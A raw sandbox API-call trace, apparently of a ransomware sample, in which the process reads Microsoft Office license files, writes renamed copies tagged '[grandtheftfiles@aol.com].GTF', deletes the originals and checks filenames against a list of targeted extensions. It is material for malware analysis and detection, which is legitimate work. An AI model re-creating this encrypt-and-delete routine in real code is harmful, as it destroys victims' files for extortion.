	[0180.425] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0180.426] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0180.427] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.427] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x124, lpOverlapped=0x0) returned 1
	[0180.427] SetEndOfFile (hFile=0x378) returned 1
	[0180.428] CloseHandle (hObject=0x378) returned 1
	[0180.428] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.428] SetEndOfFile (hFile=0x548) returned 1
	[0180.430] CloseHandle (hObject=0x548) returned 1
	[0180.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms")) returned 1
	[0180.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0180.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0180.432] lstrlenW (lpString=".doc") returned 4
	[0180.432] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.432] lstrlenW (lpString=".docx") returned 5
	[0180.432] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.432] lstrlenW (lpString=".pdf") returned 4
	[0180.432] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.432] lstrlenW (lpString=".xls") returned 4
	[0180.432] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.432] lstrlenW (lpString=".xlsx") returned 5
	[0180.432] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.432] lstrlenW (lpString=".ppt") returned 4
	[0180.432] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0180.432] lstrlenW (lpString=".zip") returned 4
	[0180.432] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.432] lstrlenW (lpString=".rar") returned 4
	[0180.432] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.432] lstrlenW (lpString=".bz2") returned 4
	[0180.432] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.432] lstrlenW (lpString=".7z") returned 3
	[0180.432] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0180.432] lstrlenW (lpString=".dbf") returned 4
	[0180.432] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0180.432] lstrlenW (lpString=".1cd") returned 4
	[0180.433] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0180.433] lstrlenW (lpString=".jpg") returned 4
	[0180.433] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0180.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0180.433] lstrlenW (lpString=".doc") returned 4
	[0180.433] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.433] lstrlenW (lpString=".docx") returned 5
	[0180.433] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.433] lstrlenW (lpString=".pdf") returned 4
	[0180.433] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.433] lstrlenW (lpString=".xls") returned 4
	[0180.433] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.433] lstrlenW (lpString=".xlsx") returned 5
	[0180.433] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.433] lstrlenW (lpString=".ppt") returned 4
	[0180.433] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0180.433] lstrlenW (lpString=".zip") returned 4
	[0180.433] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.433] lstrlenW (lpString=".rar") returned 4
	[0180.433] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.433] lstrlenW (lpString=".bz2") returned 4
	[0180.433] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.433] lstrlenW (lpString=".7z") returned 3
	[0180.433] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0180.433] lstrlenW (lpString=".dbf") returned 4
	[0180.433] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0180.433] lstrlenW (lpString=".1cd") returned 4
	[0180.433] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0180.434] lstrlenW (lpString=".jpg") returned 4
	[0180.434] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.434] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.434] lstrlenW (lpString="O365ProPlusR_Subscription2-pl.xrm-ms") returned 36
	[0180.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.434] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11195) returned 1
	[0180.434] CloseHandle (hObject=0x548) returned 1
	[0180.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms")) returned 0x220
	[0180.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.438] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.438] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0180.438] GetLastError () returned 0x0
	[0180.438] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0180.440] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0180.441] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.441] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0180.441] SetEndOfFile (hFile=0x378) returned 1
	[0180.441] CloseHandle (hObject=0x378) returned 1
	[0180.442] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.442] SetEndOfFile (hFile=0x548) returned 1
	[0180.444] CloseHandle (hObject=0x548) returned 1
	[0180.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms")) returned 1
	[0180.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0180.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0180.445] lstrlenW (lpString=".doc") returned 4
	[0180.445] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.445] lstrlenW (lpString=".docx") returned 5
	[0180.445] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.445] lstrlenW (lpString=".pdf") returned 4
	[0180.445] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.446] lstrlenW (lpString=".xls") returned 4
	[0180.446] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.446] lstrlenW (lpString=".xlsx") returned 5
	[0180.446] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.446] lstrlenW (lpString=".ppt") returned 4
	[0180.446] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0180.446] lstrlenW (lpString=".zip") returned 4
	[0180.446] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.446] lstrlenW (lpString=".rar") returned 4
	[0180.446] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.446] lstrlenW (lpString=".bz2") returned 4
	[0180.446] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.446] lstrlenW (lpString=".7z") returned 3
	[0180.446] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0180.446] lstrlenW (lpString=".dbf") returned 4
	[0180.446] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0180.446] lstrlenW (lpString=".1cd") returned 4
	[0180.446] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0180.446] lstrlenW (lpString=".jpg") returned 4
	[0180.446] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0180.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0180.446] lstrlenW (lpString=".doc") returned 4
	[0180.446] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.446] lstrlenW (lpString=".docx") returned 5
	[0180.446] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.446] lstrlenW (lpString=".pdf") returned 4
	[0180.446] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.446] lstrlenW (lpString=".xls") returned 4
	[0180.447] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.447] lstrlenW (lpString=".xlsx") returned 5
	[0180.447] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.447] lstrlenW (lpString=".ppt") returned 4
	[0180.447] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0180.447] lstrlenW (lpString=".zip") returned 4
	[0180.447] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.447] lstrlenW (lpString=".rar") returned 4
	[0180.447] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.447] lstrlenW (lpString=".bz2") returned 4
	[0180.447] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.447] lstrlenW (lpString=".7z") returned 3
	[0180.447] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0180.447] lstrlenW (lpString=".dbf") returned 4
	[0180.447] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0180.447] lstrlenW (lpString=".1cd") returned 4
	[0180.447] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms") returned 86
	[0180.447] lstrlenW (lpString=".jpg") returned 4
	[0180.447] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.447] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.447] lstrlenW (lpString="O365ProPlusR_Subscription2-ppd.xrm-ms") returned 37
	[0180.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.448] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=28261) returned 1
	[0180.448] CloseHandle (hObject=0x548) returned 1
	[0180.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms")) returned 0x220
	[0180.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.449] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.449] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0180.449] GetLastError () returned 0x0
	[0180.449] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0180.923] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0180.925] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.925] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0180.925] SetEndOfFile (hFile=0x378) returned 1
	[0181.067] CloseHandle (hObject=0x378) returned 1
	[0181.068] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.068] SetEndOfFile (hFile=0x548) returned 1
	[0181.094] CloseHandle (hObject=0x548) returned 1
	[0181.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms")) returned 1
	[0181.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0181.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0181.095] lstrlenW (lpString=".doc") returned 4
	[0181.095] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.095] lstrlenW (lpString=".docx") returned 5
	[0181.095] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.095] lstrlenW (lpString=".pdf") returned 4
	[0181.095] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.095] lstrlenW (lpString=".xls") returned 4
	[0181.095] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.095] lstrlenW (lpString=".xlsx") returned 5
	[0181.095] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.095] lstrlenW (lpString=".ppt") returned 4
	[0181.095] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0181.096] lstrlenW (lpString=".zip") returned 4
	[0181.096] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.096] lstrlenW (lpString=".rar") returned 4
	[0181.096] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.096] lstrlenW (lpString=".bz2") returned 4
	[0181.096] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.096] lstrlenW (lpString=".7z") returned 3
	[0181.096] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0181.096] lstrlenW (lpString=".dbf") returned 4
	[0181.096] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0181.096] lstrlenW (lpString=".1cd") returned 4
	[0181.096] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0181.096] lstrlenW (lpString=".jpg") returned 4
	[0181.096] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0181.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0181.096] lstrlenW (lpString=".doc") returned 4
	[0181.096] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.096] lstrlenW (lpString=".docx") returned 5
	[0181.096] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.096] lstrlenW (lpString=".pdf") returned 4
	[0181.096] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.096] lstrlenW (lpString=".xls") returned 4
	[0181.096] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.096] lstrlenW (lpString=".xlsx") returned 5
	[0181.096] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.096] lstrlenW (lpString=".ppt") returned 4
	[0181.096] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0181.096] lstrlenW (lpString=".zip") returned 4
	[0181.096] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.097] lstrlenW (lpString=".rar") returned 4
	[0181.097] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.097] lstrlenW (lpString=".bz2") returned 4
	[0181.097] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.097] lstrlenW (lpString=".7z") returned 3
	[0181.097] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0181.097] lstrlenW (lpString=".dbf") returned 4
	[0181.097] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0181.097] lstrlenW (lpString=".1cd") returned 4
	[0181.097] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms") returned 87
	[0181.097] lstrlenW (lpString=".jpg") returned 4
	[0181.097] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.097] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.097] lstrlenW (lpString="O365ProPlusR_SubTrial2-pl.xrm-ms") returned 32
	[0181.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.098] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11179) returned 1
	[0181.098] CloseHandle (hObject=0x548) returned 1
	[0181.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms")) returned 0x220
